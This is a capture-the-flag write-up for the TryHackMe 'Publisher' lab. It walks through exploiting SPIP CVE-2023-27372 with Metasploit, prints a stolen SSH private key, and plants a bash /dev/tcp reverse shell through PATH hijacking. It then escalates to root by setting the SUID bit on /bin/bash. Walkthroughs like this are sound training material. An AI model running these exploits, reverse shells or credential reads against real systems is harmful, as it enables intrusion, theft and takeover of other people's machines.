

10.10.113.112

Adding to hosts

```
(j6a5trunaut@Jesus) - [~/TryHackMe/Publisher_CTF]
$ nmap -T4 -p- 10.10.1.92
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-29 13:49 PDT
Nmap scan report for publisher.thm (10.10.1.92)
Host is up (0.15s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http

Nmap done: 1 IP address (1 host up) scanned in 532.18 seconds
```

Going to http port: 80















This a static website, no links actually work. I will try Gobuster now:

```
(j6a5trunaut@Jesus)-[~/TryHackMe/Publisher_CTF]
$ gobuster dir -u http://publisher.thm -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t100
=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://publisher.thm
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
=====
Starting gobuster in directory enumeration mode
=====
/images (Status: 301) [Size: 315] [--> http://publisher.thm/images/]
/spip (Status: 301) [Size: 313] [--> http://publisher.thm/spip/]
/server-status (Status: 403) [Size: 278]
Progress: 207643 / 207644 (100.00%)
=====
Finished
=====
```

I can see sub-directories like /images, /spip and server-status(you cannot access)

for /images , you get this:

Index of /images

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
 Parent Directory		-	
 180_column_bg.jpg	2023-12-20 19:05	2.1K	
 ads.jpg	2023-12-20 19:05	9.7K	
 bottom_panel_bg.jpg	2023-12-20 19:05	27K	
 comment_icon.jpg	2023-12-20 19:05	3.8K	
 image_01.jpg	2023-12-20 19:05	59K	
 image_02.jpg	2023-12-20 19:05	37K	
 logo.jpg	2023-12-20 19:05	29K	
 menu_bg.jpg	2023-12-20 19:05	4.9K	
 menu_bg_repeat.jpg	2023-12-20 19:05	329	
 templatmeo_column_two_bg.jpg	2023-12-20 19:05	3.6K	
 top_bg.jpg	2023-12-20 19:05	56K	

Apache/2.4.41 (Ubuntu) Server at publisher.thm Port 80

From looking at it without clicking, its literally just images

for sub-directory /spip:

Publisher

Title : The Power and Peril of Online Publications : Navigating the Impact on Society

13 novembre 2023, par think

In the era of rapid digitalization, the internet has become a powerful platform for self-expression and information dissemination. While online publications provide a valuable space for sharing ideas and perspectives, the potential for harm to individuals and society cannot be ignored. This article delves into the dual nature of internet publications, exploring the positive aspects and the potential pitfalls that can adversely affect others.

The Positive Side :

Information Sharing (...)

Rechercher :

 >>





2023 - 2024 Publisher

[Plan du site](#) | [Se connecter](#) | [Contact](#) | [RSS 2.0](#)





The room synopsis gives you some clues on what to look for. I know its SPIP open-source content management system (CMS) used for publishing and managing content on the web. I just need to figure out the version:


Checking out Wappalyzer:


 **Wappalyzer**   


TECHNOLOGIESMORE INFOExport


CMS
 [SPIP](#) 4.2.0

Programming languages
 [PHP](#)

Miscellaneous
 [RSS](#)

Operating systems
 [Ubuntu](#)

Web servers
 [Apache HTTP Server](#) 2.4.41

JavaScript libraries
 [jQuery](#) 3.6.3

[Something wrong or missing?](#)

Automate technology lookups ^
Our APIs provide instant access to website technology stacks, contact details and social media profiles.

Found that 4.2.0 version of SPIP. Ok, Now I will look for any exploits for it

Using google search: "spip 4.2.0 exploit" :

<https://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html>



SPIP Remote Command Execution

Authored by [coiffeur](#), [Laluka](#), [Julien Voisin](#) | Site [metasploit.com](#)

Posted [Apr 18, 2023](#)

This Metasploit module exploits a PHP code injection in SPIP. The vulnerability exists in the oubli parameter and allows an unauthenticated user to execute arbitrary commands with web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. Vulnerable versions are below 3.2.18, below 4.0.10, below 4.1.18 and below 4.2.1.

tags | [exploit](#), [web](#), [arbitrary](#), [php](#)

advisories | [CVE-2023-27372](#)

SHA-256 | [da36b42d35a291178bebac45397335e931352a6a022f64275dfb7fc469079f1f](#)

[Download](#) | [Favorite](#) | [View](#)

[Related Files](#)

Share This

Seems like you have to use metasploit to exploit this vulnerability: **CVE-2023-27372**

```
= [ metasploit v6.4.5-dev ]
+ -- --[ 2413 exploits - 1242 auxiliary - 423 post ]
+ -- --[ 1468 payloads - 47 encoders - 11 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search spip

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/unix/webapp/spip_connect_exec    2012-07-04      excellent Yes    SPIP connect Parameter PHP Injection
1  exploit/unix/webapp/spip_rce_form        2023-02-27      excellent Yes    SPIP form PHP Injection
2  \_ target: Automatic (PHP In-Memory)     .               .       .       .
3  \_ target: Automatic (Unix In-Memory)    .               .       .       .
```

I like "1" for RCE:

```

View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/spip_rce_form) > set RHOST 10.10.113.112
RHOST => 10.10.113.112
msf6 exploit(unix/webapp/spip_rce_form) > set RPORT 80
RPORT => 80
msf6 exploit(unix/webapp/spip_rce_form) > set TARGETURI /spip/
TARGETURI => /spip/
msf6 exploit(unix/webapp/spip_rce_form) > set LHOST 10.13.54.5
LHOST => 10.13.54.5
msf6 exploit(unix/webapp/spip_rce_form) > set LPORT 4444
LPORT => 4444
msf6 exploit(unix/webapp/spip_rce_form) > run

[*] Started reverse TCP handler on 10.13.54.5:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] SPIP Version detected: 4.2.0
[+] The target appears to be vulnerable.
[*] Got anti-csrf token: AKXEs4U6r36PZ5LnRZXtHvxQ/ZZYCXnJB2crlmVwgt1VVXwXn/MCLPMydXPZCL/WsMlnvbq2xARLr6toNbdFE/YV7egyGxHx
[*] 10.10.113.112:80 - Attempting to exploit...
[*] Sending stage (39927 bytes) to 10.10.113.112
[*] Meterpreter session 1 opened (10.13.54.5:4444 -> 10.10.113.112:49360) at 2024-06-29 18:06:50 -0700

meterpreter > |

```

I got a shell, I upgraded shell to be more stable:

```

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(unix/webapp/spip_rce_form) > session -u 1
[-] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf6 exploit(unix/webapp/spip_rce_form) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_railgun_api
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.13.54.5:4433
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 exploit(unix/webapp/spip_rce_form) >
[*] Sending stage (1017704 bytes) to 10.10.113.112
[*] Meterpreter session 2 opened (10.13.54.5:4433 -> 10.10.113.112:48794) at 2024-06-29 18:16:20 -0700
[*] Stopping exploit/multi/handler
whoami
[*] exec: whoami

j6a5trunaut
msf6 exploit(unix/webapp/spip_rce_form) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer      : 172.17.0.2
OS            : Ubuntu 20.04 (Linux 5.4.0-169-generic)
Architecture : x64
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
meterpreter > getuid
Server username: www-data

```

Now that I am in and with a stable session, I search around for obvious files and I found **user.txt** :

```

meterpreter > cd home
meterpreter > ls
Listing: /home
=====

Mode                Size      Type    Last modified          Name
----                -
040755/rwxr-xr-x    4096    dir     2024-02-10 13:27:54 -0800 think

meterpreter > cd think
meterpreter > ls
Listing: /home/think
=====

Mode                Size      Type    Last modified          Name
----                -
020666/rw-rw-rw-     0      cha     2024-06-29 17:25:20 -0700 .bash_history
100644/rw-r--r--    220     fil     2023-11-14 00:57:26 -0800 .bash_logout
100644/rw-r--r--   3771     fil     2023-11-14 00:57:26 -0800 .bashrc
040700/rwx-----    4096    dir     2023-11-14 00:57:24 -0800 .cache
040700/rwx-----    4096    dir     2023-12-08 05:07:22 -0800 .config
040700/rwx-----    4096    dir     2024-02-10 13:22:33 -0800 .gnupg
040775/rwxrwxr-x    4096    dir     2024-01-10 04:46:09 -0800 .local
100644/rw-r--r--    807     fil     2023-11-14 00:57:24 -0800 .profile
020666/rw-rw-rw-     0      cha     2024-06-29 17:25:20 -0700 .python_history
040755/rwxr-xr-x    4096    dir     2024-01-10 04:54:17 -0800 .ssh
020666/rw-rw-rw-     0      cha     2024-06-29 17:25:20 -0700 .viminfo
040750/rwxr-x---    4096    dir     2023-12-20 11:05:25 -0800 spip
100644/rw-r--r--    35      fil     2024-02-10 13:20:39 -0800 user.txt

meterpreter > cat user.txt

```

Now for privilege escalation:


```

meterpreter > cd .ssh
meterpreter > ls
Listing: /home/think/.ssh
=====

Mode                Size      Type    Last modified          Name
----                -
100644/rw-r--r--    569      fil     2024-01-10 04:54:17 -0800  authorized_keys
100644/rw-r--r--   2602      fil     2024-01-10 04:48:14 -0800  id_rsa
100644/rw-r--r--    569      fil     2024-01-10 04:48:14 -0800  id_rsa.pub

meterpreter > cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3B1bnNzaC1rZXktZjEAAAAAGB5vbmUAAAAAEbm9uZQAAAAAAAAABAAAABlAAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAXPvc9pijpuUA4olyvkW0ryYASBpdmBasOEls6ORw7FMgjPW86tDK
uIXyZneBIUarJiZh8VzFgmKRYcioDwlJzq+9/2ipQHTVzNjxxgl8wWvF0WnK21I5TQ7QXc
OY8+1CUVX67y4UXrKASf8171PKIED24bXjkDBKvRcmHwScQBg/nIIFxyi262JoJTjh9Jgx
SBjaDOELBBxydv78YMN9dyafImAXYX96H5k+8vC8/I3bkwiCnhuKKJ11TV4b81MsbrgqbY
RYfbCJapB27zJ24alaR5Un+Ec2XV2fawhmfS05b10M0QAnDEu7SGXG9mF/hLJyheRe8lv
+rk5EkZNgh14YpXG/E9yIbxB9Rf5k0ekxodZjVV06iqIHBomcQrKotV5nXBRPgVeH71JgV
QFkNQyqVM4wf6oODSsqSuIvnbk519e095sJDwzlpj/aTL3Z6Z28KgPKCjOELvkAPencuMQ
Tu+z6QVUR0cCjgSRhw4Gy/bfJ41LyX/bciL5QoydAAAFid95ilo/eYtaAAAAB3NzaC1yc2
EAAAGBAMT73PaYo6VCQOKJcr5FtK8mAEgaXZgWrDhJbOjkcOxTIIzlvOrQyriF8mZ3gSFG
qyYmYfFcxapikWHIqA8JSc6vvf9oqUB01czY8cYNfMFrxdFpytpSOU000F3DmPPtQ1FV+u
8uFF6ygEn/Je5TyiBA9uG145AwZFawjB8EnEG4P5yCBccotutiaCU44fSYMUGY2gzhCwQc
cnb+/GDDfXcmnyJgF2F/eh+ZPvLwvPyN25MIgp4biiiddUleG/JTLG64Km2EWH2wiWqQdu
8yduGtWkeVJ/hHN1ldn2sIZn7UtOW9dDNEAJwxLu0hlxvZhF4SycOxKxvJb/q5ORJGTYId
eGKVxvxPciG8QfUX+ZNHPMaHWY1Vd0oqiBwaJnEKYqLveZ1wUT4FXh+9SYFUBZDUMq1TOM
H+qDg0qkLLiL55AeZfXtPebCQ8M9aY/2ky92emdVCoDygozhC75AD3J3LjEE7vs+kFVK9H
Ao4EkYcOBsv23yeJS81/23Ii+UKMnQAAAAAMBAAEAAAGBAIIasGkXjA6c4eo+S1EuDRcaDF
mTQHoxj3J13M8+Au+0P+2aaTrWyO5zWhUfnWRzHpvGai6+zbep/sgNFiNiST2AigdmAlQV
Vx1DuPzM77d5DWExdNAaOsQqQnEMx65ZBAOpjlaegUcfyMhWttknhgCEn52hREIqty7gOR5
49F0+4+BrRLivK0nZJuuvK1EMPOo2aDHsxMGt4tomuBNeMhxPpqHW17ftxjSHNv+wJ4WkV
8QF+MfdnzSriRRXisKavE6MPzYHJtMEUDUJDUtIpXVx2r1/L3DBs1GGES1Qq5vWwNGOkLR
zz2F+3dNNzK6d0e18ciUXF0qZxFzF+hqwx16jCASfG6A0YjcozKl1WdkUtqqw+Mf15q+KW
x1kL1XnW4/jPt3tb4A9UsW/ayOLCGrlvMwlonGq+s+0nswZNAIDvKKIzzbqvBKZMfVZ14Q
UafNbJoL1Xm+41shdBSRVHPe81IYS8C+1foYX+f1HRkodpkGE0/4/StcGv4XiRBFG1qQAA
AMEAsFmX8iE4UuNEmz467uDcvLP53P9E2nwjYf65U4ArSiJnPY0GRiU8ZQkyxKb4V55691
DbOLhbfRF/KTRO7nWKqo4UuoYv1Rg4MuCwiNsOTWbcNqkPW11D0dGO7IbDJ1uCJqNjV+OE
56P0Z/HAQfZovFlzgC4xwwW8Mm698H/wss8Lt9wsZq4hMFxmZCdOuZ01Y1MsGJgtekVDGL
IHjNxD46wo37cKT9jb270sONG7BIq7iTee5T59xupekynvIqbAAAAwQDnTuHO27B1PriV
ThENf8Iz+Y8LFcKLjndwBdFkyE9kqNRT71xyZK8t5O2Ec0vCRiLeZU/DTAFPiR+B6WPfUb
kFX8AXaUXpJmU1TL16on7mCpNnjjSRKJDUTfM0H6MOGD/YgYE4ZvruoHCmQaenMpc3YSrG
vKrFied5LNAJ3kLWk8SbzZxsuERbybIKGJa8Z91YwtpPiHCs1lwqrFiB9ikfMa2DoWTuBh
+Xk2NGp6e98Bjtf7qtBn/0rBfdZjveM1MAAADBANoC+jBOLbAHk2rKEvTY1Msbc8Nf2aXe
vOM04fPPBE22VsJGK1Wbi786Z0QVhnbNe6JnlLigk50DEclWrKvHvWND0WuthNYTThiWFr
LsHpJjf7fAUXSGQfCe0Z06gFMtmhwZUuYEH9JjZbG2oLnn47BdOnumAOE/mRxDelSOv5J5
M8X1rG1GEnXqGuw917aaHPPBnSfquimQkXZ55yyI9uhtc6BrRanGR1EYPOCR18Ppcr5d96
Hx4+A+YKJ0iNuyTwAAAA90aGlua0BwdWJsaXNoZXIBAg==
-----END OPENSSH PRIVATE KEY-----
meterpreter > |

```

Pulling the Private key for think, I'll copy and run chmod 600:


```
(j6a5trunaut@Jesus) - [~/TryHackMe/Publisher_CTF]
$ nano id_rsa

(j6a5trunaut@Jesus) - [~/TryHackMe/Publisher_CTF]
$ chmod 600 id_rsa
```

Now I will ssh at user "think" :

```
(j6a5trunaut@Jesus) - [~/TryHackMe/Publisher_CTF]
$ ssh -i id_rsa think@10.10.113.112
The authenticity of host '10.10.113.112 (10.10.113.112)' can't be established.
ED25519 key fingerprint is SHA256:Ndgax/DOZA6JS00F3afY6VbwjVhV2fg5OAMP9TqPAOs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.113.112' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-169-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Sun 30 Jun 2024 02:04:44 AM UTC

System load:                1.2
Usage of /:                  75.8% of 9.75GB
Memory usage:                15%
Swap usage:                  0%
Processes:                  134
Users logged in:             0
IPv4 address for br-72fdb218889f: 172.18.0.1
IPv4 address for docker0:    172.17.0.1
IPv4 address for eth0:       10.10.113.112

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Feb 12 20:24:07 2024 from 192.168.1.13
think@publisher:~$ |
```

Trying to run linpeas on this victim's machine, is not working:

```
think@publisher:~$ wget http://10.13.54.5:8000/linpeas.sh
--2024-06-30 02:28:10--  http://10.13.54.5:8000/linpeas.sh
Connecting to 10.13.54.5:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 862779 (843K) [text/x-sh]
linpeas.sh: Permission denied
```

Ok, let's try this:

The command `find / -perm -4000 2>/dev/null` is used to search for files with specific permissions across the entire file system

```
think@publisher:~$ find / -perm -4000 2>/dev/null
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmccrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/sbin/pppd
/usr/sbin/run_container
/usr/bin/at
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/umount
```

run_container looks pretty promising...

Going to directory `/usr/sbin` and then run, I'll run it:

```
think@publisher:/usr/sbin$ ./run_container
List of Docker containers:
ID: 41c976e507f8 | Name: jovial_hertz | Status: Up 3 hours

Enter the ID of the container or leave blank to create a new one: 41c976e507f8
/opt/run_container.sh: line 16: validate_container_id: command not found

OPTIONS:
1) Start Container
2) Stop Container
3) Restart Container
4) Create Container
5) Quit
Choose an action for a container: |
```

The container is running but trying to get to **/opt/run_container.sh** via /opt folder is challenging because gives me access denied:

```
think@publisher:/usr/sbin$ cd /opt
think@publisher:/opt$ ls
ls: cannot open directory '.': Permission denied
```

Checking out the actual **run_container.sh**

```
think@publisher:/opt$ cat run_container.sh
#!/bin/bash

# Function to list Docker containers
list_containers() {
    if [ -z "$(docker ps -aq)" ]; then
        docker run -d --restart always -p 8000:8000 -v /home/think:/home/think 4b5aec41d6ef;
    fi
    echo "List of Docker containers:"
    docker ps -a --format "ID: {{.ID}} | Name: {{.Names}} | Status: {{.Status}}"
    echo ""
}

# Function to prompt user for container ID
prompt_container_id() {
    read -p "Enter the ID of the container or leave blank to create a new one: " container_id
    validate_container_id "$container_id"
}

# Function to display options and perform actions
select_action() {
    echo ""
    echo "OPTIONS:"
    local container_id="$1"
    PS3="Choose an action for a container: "
    options=("Start Container" "Stop Container" "Restart Container" "Create Container" "Quit")

    select opt in "${options[@]}; do
        case $REPLY in
            1) docker start "$container_id"; break ;;
            2) if [ $(docker ps -q | wc -l) -lt 2 ]; then
                    echo "No enough containers are currently running."
                    exit 1
                fi
                docker stop "$container_id"
                break ;;
            3) docker restart "$container_id"; break ;;
            4) echo "Creating a new container..."
                docker run -d --restart always -p 80:80 -v /home/think:/home/think spip-image:latest
                break ;;
            5) echo "Exiting..."; exit ;;
            *) echo "Invalid option. Please choose a valid option." ;;
        esac
    done
}

# Main script execution
```

If I try and write to it, it gives me "permission denied" but I have permissions?!?!?

```
think@publisher:/opt$ echo 'a' > run_container.sh
-bash: run_container.sh: Permission denied
```

```
think@publisher:/opt$ ls -asl run_container.sh
4 -rwxrwxrwx 1 root root 1715 Jan 10 12:40 run_container.sh
```

?????

Let's check out Apparmor, if you do not know what it is, I got you:

AppArmor (Application Armor) is a security module for the Linux kernel that provides mandatory access control (MAC). It allows system administrators to restrict programs' capabilities with per-

program profiles, enhancing the security of the system by confining potentially vulnerable or compromised programs.

we will be looking specifically in directory **apparmor.d** , The directory `/etc/apparmor.d` is the location where AppArmor profiles are stored on a Linux system. This directory contains the individual profiles that define the access control rules for various applications. Each profile specifies the permissions and restrictions for a particular application or service.

Let's look at what shell environment this current user is running:

```
think@publisher:/etc/apparmor$ echo $SHELL
/usr/sbin/ash
```

`/usr/sbin/ash` is the environment running. Let's check out `apparmor.d` now:

```
think@publisher:/etc$ cd apparmor.d
think@publisher:/etc/apparmor.d$ ls
abi          disable      local        nvidia_modprobe  tunables  usr.sbin.ash  usr.sbin.mysql  usr.sbin.tcpcdump
abstractions force-complain lsb_release  sbin.dhclient    usr.bin.man  usr.sbin.ippusbxd  usr.sbin.rsyslogd
```

Let's read the shell:

```
think@publisher:/etc/apparmor.d$ cat usr.sbin.ash
#include <tunables/global>

/usr/sbin/ash flags=(complain) {
    #include <abstractions/base>
    #include <abstractions/bash>
    #include <abstractions/consoles>
    #include <abstractions/nameservice>
    #include <abstractions/user-tmp>

    # Remove specific file path rules
    # Deny access to certain directories
    deny /opt/ r,
    deny /opt/** w,
    deny /tmp/** w,
    deny /dev/shm w,
    deny /var/tmp w,
    deny /home/** w,
    /usr/bin/** mrix,
    /usr/sbin/** mrix,

    # Simplified rule for accessing /home directory
    owner /home/** rix,
}
```

Wow, we can see why we are getting denies all around:

```
deny /opt/ r,  
deny /opt/ w,  
deny /tmp/ w,  
deny /dev/shm w,  
deny /var/tmp w,  
deny /home/** w,
```

I can set `/var/tmp` in my `PATH` to execute scripts from there, which will allow me to place and run Reverse shell.

Earlier when we ran the `run_container.sh`, it couldn't verify the id, it was missing.

```
Enter the ID of the container or leave blank to create a new one: 41c976e507f8  
/opt/run_container.sh: line 16: validate_container_id: command not found
```

From the error message, it seems that the script `/opt/run_container.sh` is attempting to call a command `validate_container_id`, which it cannot find, resulting in a `command not found` error.

By modifying the `PATH` environment variable to include `/var/tmp` (`export PATH=/var/tmp:$PATH`), I can be ensured that any scripts or executables in `/var/tmp` could be found and executed.

```
think@publisher:/etc/apparmor.d$ export PATH=/var/tmp:$PATH  
think@publisher:/etc/apparmor.d$ cd /var/tmp  
think@publisher:/var/tmp$ ls  
systemd-private-ad0e1dcf2bee4727b3c0fe6d86247ee2-fwupd.service-zXlLqh      systemd-private-ad0e1dcf2bee4727b3c0fe6d86247ee2-systemd-resolved.service-fZY6og  
systemd-private-ad0e1dcf2bee4727b3c0fe6d86247ee2-ModemManager.service-I6ebtj  systemd-private-ad0e1dcf2bee4727b3c0fe6d86247ee2-systemd-timesyncd.service-YlVBdg  
systemd-private-ad0e1dcf2bee4727b3c0fe6d86247ee2-switcheroo-control.service-sqigt  systemd-private-ad0e1dcf2bee4727b3c0fe6d86247ee2-upower.service-fUYzJf  
systemd-private-ad0e1dcf2bee4727b3c0fe6d86247ee2-systemd-logind.service-sHknBg  
think@publisher:/var/tmp$ nano validate_container_id  
think@publisher:/var/tmp$ chmod +x validate_container_id
```

1. add path `"/var/tmp"`
2. cd to `"var/tmp"`
3. create file named `"validate_container_id"`, inside add bash reverse shell to it

```
****  
bash -i >& /dev/tcp//4444 0>&1
```
4. make file executable

set up netcat and run `run_container.sh` :

```
think@publisher:/var/tmp$ ./opt/run_container.sh  
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json?all=1": dial unix /var/run/  
docker.sock: connect: permission denied  
docker: permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/create": dial unix /var/  
run/docker.sock: connect: permission denied.  
See 'docker run --help'.  
List of Docker containers:  
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json?all=1": dial unix /var/run/  
docker.sock: connect: permission denied  
Enter the ID of the container or leave blank to create a new one: 2
```


Now go to your listener and see that you have got a shell, now you should have access to /opt folder:

```
think@publisher:/var/tmp$ cd /opt
cd /opt
think@publisher:/opt$ ls
ls
containerd
dockerfile
run_container.sh
```

```
think@publisher:/opt$ echo 'chmod +s /bin/bash' > /opt/run_container.sh
echo 'chmod +s /bin/bash' > /opt/run_container.sh
think@publisher:/opt$ cat /opt/run_container.sh
cat /opt/run_container.sh
chmod +s /bin/bash
think@publisher:/opt$ ls -al /bin/bash
ls -al /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
think@publisher:/opt$ ls -la /bin/bash
ls -la /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
think@publisher:/opt$ /usr/sbin/run_container
/usr/sbin/run_container
think@publisher:/opt$ ls -la /bin/bash
ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash
think@publisher:/opt$ /bin/bash -p
/bin/bash -p
whoami
root
cd /
cd root
ls
root.txt
spip
cat root.txt
```

1. **Modify** `run_container.sh` **to Set the SUID Bit on** `/bin/bash`
2. Execute the Modified Script
3. Check SUID on Bash
4. Gain Root Access

Great Room!